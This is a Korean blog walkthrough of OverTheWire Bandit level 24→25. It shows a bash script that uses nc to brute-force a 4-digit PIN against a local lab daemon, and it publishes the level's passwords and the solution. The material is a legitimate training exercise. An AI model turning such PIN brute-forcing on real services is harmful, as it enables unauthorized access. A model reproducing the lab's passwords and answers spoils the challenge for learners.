[Bandit-OverTheWire] Level 24 -> Level 25

 

Bandit Level 24 → Level 25 Level Goal A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

 

 

접속

접속 : ssh bandit24@bandit.labs.overthewire.org -p2220
pw : UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

 

bandit24의 비밀번호와 랜덤 4자리숫자를 맞추면 비밀번호를 주겠다고 하네요. 

저는 이걸 쉘스크립트로 짰는데 나중에 보니깐 python도 되더라구요. 소켓프로그래밍할사람은 python으로 짜면 될듯

 

bandit24@bandit:~$ mkdir -p /tmp/dubini3
bandit24@bandit:~$ cd /tmp/dubini3
bandit24@bandit:/tmp/dubini3$ cat > brute.sh
#!/bin/bash

passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for pincode in {0..9}{0..9}{0..9}{0..9}
do
    echo $passwd' '$pincode | nc localhost 30002 >> result &
done            
^C
bandit24@bandit:/tmp/dubini3$ chmod 777 brute.sh
bandit24@bandit:/tmp/dubini3$ ./brute.sh

 

일단 저 brute.sh 실행시키면 한참걸리는데 일단 기다렸다가 result파일만 잘 확인하면 됩니다.

 

bandit24@bandit:/tmp/dubini3$ ls
brute.sh  result
bandit24@bandit:/tmp/dubini3$ sort result | uniq -u
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

 

끝